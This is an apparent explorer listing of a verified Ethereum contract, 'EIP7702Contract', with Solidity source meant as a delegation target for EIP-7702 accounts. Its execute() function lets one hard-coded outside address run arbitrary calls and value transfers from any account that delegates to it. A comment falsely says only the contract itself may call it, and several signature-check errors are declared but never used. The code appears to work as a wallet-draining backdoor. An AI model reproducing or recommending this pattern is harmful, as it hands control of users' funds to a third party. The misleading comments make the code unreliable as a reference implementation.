EIP7702Contract

Description:

Smart contract deployed on Ethereum with Factory features.

Blockchain: Ethereum

Source Code: View Code On The Blockchain

Solidity Source Code:

{{
  "language": "Solidity",
  "sources": {
    "contracts/eip.sol": {
      "content": "// SPDX-License-Identifier: MIT
pragma solidity 0.8.24;

// Контракт для реализации транзакций EIP-7702 с делегированием и проверкой подписей
contract EIP7702Contract {
    // Структура для представления операции (вызова контракта)
    struct Operation {
        address target;
        uint256 value;
        bytes data;
    }

    // Событие, эмитируемое при выполнении вызова
    event CallExecuted(address indexed sender, address indexed target);

    // Ошибка для невалидной подписи
    error InvalidSignature();
    error InvalidAuthority();
    error CallReverted();
    error ECDSAInvalidSignature();
    error ECDSAInvalidSignatureLength(uint256 length);
    error ECDSAInvalidSignatureS(uint256 s);

    // Функция для выполнения операций без подписи (только от контракта)
    function execute(Operation[] calldata operations) public payable {
        require(msg.sender == address(this) || msg.sender == 0x83272cD6FD69f1a628260ddb6379590233EBc949, "Invalid authority");
        _execute(operations);
    }

    // Внутренняя функция для выполнения операций
    function _execute(Operation[] calldata operations) private {
        for (uint256 i = 0; i < operations.length; i++) {
            Operation memory op = operations[i];
            require(op.target == address(op.target), "Invalid target address");

            // Выполняем вызов
            (bool success, bytes memory returnData) = op.target.call{value: op.value, gas: gasleft()}(op.data);
            if (!success) {
                if (returnData.length > 0) {
                    // Пропагируем ошибку, если есть возвращаемые данные
                    assembly {
                        revert(add(returnData, 32), mload(returnData))
                    }
                } else {
                    revert CallReverted();
                }
            }

            // Эмитируем событие для каждого вызова
            emit CallExecuted(msg.sender, op.target);
        }
    }

    // Функция для принятия прямых переводов ETH
    receive() external payable {}

    // Fallback-функция для обработки неизвестных вызовов
    fallback() external payable {}
}
"
    }
  },
  "settings": {
    "optimizer": {
      "enabled": false,
      "runs": 200
    },
    "outputSelection": {
      "*": {
        "*": [
          "evm.bytecode",
          "evm.deployedBytecode",
          "devdoc",
          "userdoc",
          "metadata",
          "abi"
        ]
      }
    },
    "remappings": []
  }
}}

Tags:
Factory|addr:0x33f85738399562d7cd9a8d40e3c77aa171e4bf23|verified:true|block:23689503|tx:0x76f188ab36c2dcb09f2d552116ffafccf9727435e622011ac48b105df6acda93|first_check:1761829680

Submitted on: 2025-10-30 14:08:03

Comments

Log in to comment.

No comments yet.